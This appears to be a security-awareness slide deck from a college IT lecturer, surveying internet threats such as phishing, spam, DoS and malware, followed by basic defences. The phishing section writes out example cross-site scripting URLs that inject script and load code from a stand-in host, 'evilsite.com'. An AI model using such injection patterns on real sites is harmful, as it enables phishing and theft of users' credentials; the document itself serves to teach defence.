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INTERNET THREATS & DEFENCE
MECHANISM
INTERNET THREATS AND DEFENCE MECHANISM
Mr. RAJASEKAR RAMALINGAM
Faculty - Department of IT
College of Applied Sciences – Sur
Sultanate of Oman
vrrsekar@yahoo.com

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Content
1. Internet Threats
1.1 Cyber-bullying
1.2 Cyberstalking
1.3 Phishing
1.4 Webspam
1.5 E-mail Spoofing
1.6 What Is Spam?
1.7 Denial-of-Service (DoS) Attack
1.8 Chain Letters – A Problem
1.9 Internet Enemies
2. Defense Mechanisms
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1. INTERNET THREATS
1.1 CYBER-BULLYING
Cyberbullying is defined as:
actions that use information and communication technologies to support
deliberate, repeated, and hostile behavior by an individual or group, that is
intended to harm another or others.
use of communication technologies for the intention of harming another
person
use of Internet service and mobile technologies such as web pages and
discussion groups as well as instant messaging or SMS text messaging
with the intention of harming another person.
A cyberbully may or may not know their target.
A cyberbully may be anonymous and may solicit involvement of other
people online who do not know the target. This is known as a "digital pile-
on.
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1.2 CYBERSTALKING
Use of Information and Communications Technology (Internet), by an
individual or group of individuals, to harass another individual, group of
individuals, or organization.
What Cyberstalkers do …….?
 False accusations
 Attempts to gather information about the victim
 Transmission of Threats
 Encouraging others to harass the victim
 False victimization
 Attacks on data and equipment
 Ordering goods and services
 Identity Theft
Cyberstalkers find their victims from …….?
Search engines, online forums, blogs, bulletin and discussion boards, chat rooms,
and more recently, through online communities such as MySpace, Facebook, Hi5
etc.
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1.3 PHISHING
Phishing is the criminally fraudulent process of attempting to
acquire sensitive information such as usernames, passwords and
credit card details by masquerading as a trustworthy entity through
an electronic communication, especially e-mails.
Major Phishing Techniques:
1. Man-in-the-middle Attacks
2. URL Attacks
3. Cross-site Scripting Attacks
4. Observing Customer Data
5. Client-side Vulnerability Exploitation
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PHISHERS’ MAJOR TECHNIQUES:
1. Man-in-the-Middle Attacks
• A man-in-the-middle attack (MitM, MiM attack, MitMA) is an attack
where the attacker secretly relays and possibly alters the communication
between two parties who believe they are directly communicating with
each other.
• One example of man-in-the-middle attacks is active eavesdropping, in
which the attacker makes independent connections with the victims and
relays messages between them to make them believe they are talking
directly to each other over a private connection, when in fact the entire
conversation is controlled by the attacker.
• The attacker must be able to intercept all relevant messages passing
between the two victims and inject new ones. This is straightforward in
many circumstances.
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2. URL Attacks
 Bad Domain Names
 Using URL obfuscation techniques, the attacker tricks the
customer into connecting to their proxy server instead of the
real server.
 For example, the customer may follow a link to
 http://www.my-bank.com instead of http://www.mybank.com
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Phishers’ Major Techniques…
3. Cross-site Scripting Attacks
 Cross-site scripting attacks make use of custom URL or code injection
into a valid web-based application URL or imbedded data field.
 These techniques are the result of poor web-application development
processes.
Typical formats for CSS injection into valid URL’s include:
Full HTML substitution:
http://mybank.com/ebanking?URL=http://evilsite.com/phishing/fakepage.htm
Inline embedding of scripting content:
http://mybank.com/ebanking?page=1&client=<SCRIPT>evilcode...
Forcing the page to load external scripting code:
http://mybank.com/ebanking?page=1&response=evilsite.com%21evilcode.js&go=2
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4) Observing Customer Data
 Key-loggers and Screen-grabbers can be used to observe
confidential customer data as it is entered into a web-based
application.
 This information is collected locally and typically retrieved
through by attacker through the following different methods:
 Continuous streaming of data (i.e. data is sent as soon as it is
generated) using a custom data sender/receiver pair.
 Backdoor collection by the attacker. The observation software
allows the attacker to connect remotely to the customer’s
machine and pull back the data as and when required.
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Key-loggers
•The purpose of key loggers is to observe and record all key presses by
the customer.
•In particular, when they enter their authentication information into the
web-based application login pages.
•With these credentials the Phisher can then use the account for their
own purposes at a later date and time.
•Key-loggers may be pre-compiled objects that will observe all key
presses - Regardless of application or context.
Screen Grabbing
•Sophisticated Phishing attacks make use of code designed to take a
screen shot of data that has been entered into a web-based application.
•This functionality is used to overcome some of the more secure
financial applications that have special features build-in to prevent
against standard key-logging attacks.
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5) Client-side Vulnerability Exploitation
 The sophisticated browsers used to surf the web, any commercial piece of
software, are often vulnerable to a myriad of attacks.
 The more functionality built into the browser, the more likely their exists a
vulnerability that could be exploited by an attacker.
 Software vendors have made great strides in methods of rolling out software
updates and patches, home users are notoriously poor in applying them.
 This, combined with the ability to install add-ons (such as Flash, RealPlayer
and other embedded applications) means that there are many opportunities for
attack.
 Similar to the threat posed by some of the nastier viruses and automated
worms, these vulnerabilities can be exploited in a number of ways.
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1.4 WEBSPAM
Webspam is the term for webpages that are designed by webmasters to
trick search engines and draw users to their websites.
Why do Spammers Create Spam Pages ?
 To make money
 To change search engine rankings
 To do harm to users’ computers with sneaky downloads
How do Spammers Create Spam Pages ?
 Hidden text and hidden links
 Keyword stuffing
 Sneaky redirects
 Cloaking with JavaScript redirects and 100% frame
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1.5 E-MAIL SPOOFING
 E-mail spoofing is a term used to describe fraudulent e-mail activity
in which the sender address and other parts of the e-mail header are
altered to appear as though the e-mail originated from a different source.
 E-mail spoofing is a technique commonly used for spam e-mail and
phishing to hide the origin of an e-mail message.
 The term spam refers to unsolicited, often unwanted, email messages.
 Spam does not necessarily contain viruses, valid messages from
legitimate sources could fall into this category.
1.6 WHAT IS SPAM?
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1.7 DENIAL-OF-SERVICE (DOS) ATTACK
A denial-of-service attack (DoS attack) or distributed denial-of-
service attack (DDoS attack) is an attempt to make a computer
resource unavailable to its intended users.
How to block a "denial of service" attack?
By setting up a filter, or "sniffer," on a network before a
stream of information reaches a site's Web servers.
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1.8 CHAIN LETTERS – A PROBLEM
 Mask viruses or other malicious activity.
 Although they seem harmless, may have negative impact if you forward
them:
 Consume bandwidth/space within the recipient's inbox.
 Force people to waste time sifting through the messages & possibly taking
time to verify the information.
 You are spreading hype and, often, unnecessary fear and paranoia.
Some types of chain letters
1) Hoaxes:
• Attempt to trick or defraud users.
• Instructing users to delete an important file by claiming it is a virus.
• It could also be a scam that convinces users to send money or personal
information.
2) Urban legends:
• Designed to be redistributed and usually warn users of a threat or claim to be
notifying them of important or urgent information.
• Promise users monetary rewards for forwarding the message.
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HoaxMail
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1.9 INTERNET ENEMIES
1) COMPUTER VIRUS
• A virus is a self-replicating and self-executable malicious software.
• It spreads being attached to other files.
2) WORMS
• Computer worms are similar to viruses (they are also self-replicating).
• While viruses are attached to another software, worms can function
separately.
• Worms can delete files on your computer, send files via e-mails, even to
spread across the Internet.
3) TROJAN HORSE (TROJAN)
• A program that appears desirable but actually contains something
harmful; "the contents of a trojan can be a virus or a worm“.
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Internet Enemies…..
4) ROOTKIT
• This is a special kind of software.
• Once installed, totally hidden on your computer.
• One of its most dangerous activity is that it leaves a 'backdoor' on the
target system, and can gain control over it without the needed
privileges.
• It can also hide keyloggers which can send data about what you type in
on your computer.
5) SPYWARE
• They collect personal data from your computer & send it to a company.
• Who analyses it to gain precious information for their business.
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2. DEFENSE MECHANISMS
1) FIREWALL:
A firewall helps protect your computer by preventing unauthorized users
from gaining access to it through a network or the Internet.
What type of firewall is best?
• Hardware: Router
• Software: ISA Server
2) USE ANTI-VIRUS SOFTWARE:
• Anti-virus software is designed to protect you and your computer
against known viruses.
• But with new viruses emerging daily, anti-virus programs need to be
updated regularly.
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3) ATTACKER E-MAIL VICTIM [SHORTEST & EASIEST ROUTE]
 Don't give your email address out arbitrarily.
 Don't follow links in spam messages.
 Do not open email from unknown sources.
 Consider opening an additional email account.
 Use caution when opening/downloading attachments.
 Password………?
 Don't spam other people.
 Benefits of BCC (Blind Carbon Copy).
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4) SECURE YOUR WEB BROWSER
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5) DIGITAL SIGNATURE:
• A digital signature is basically a way to ensure that an electronic
document (e-mail, spreadsheet, text file, etc.) is authentic.
6) AUTHENTICATION:
• Authentication is the process of verifying that information is coming
from a trusted source. Methods: Passwords, Checksum, CRC etc.
7) ENCRYPTION:
• Encryption is the process of taking all the data that one computer is
sending to another and encoding it into a form that only the other
computer will be able to decode.
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8) DIGITAL CERTIFICATE:
• A digital certificate is essentially a bit of information that says the Web
server is trusted by an independent source known as a Certificate
Authority.
• The Certificate Authority acts as the middleman that both computers
trust.
9) CERTIFICATE AUTHORITY (CA):
• A certificate authority or certification authority (CA) is an entity that
issues digital certificates for use by other parties.
• It is an example of a trusted third party.
• Some CAs include :
VeriSign, Inc.,
Mountain View, California
Comodo Group, Inc.
Washington, USA
WebTrust
Toronto, Canada
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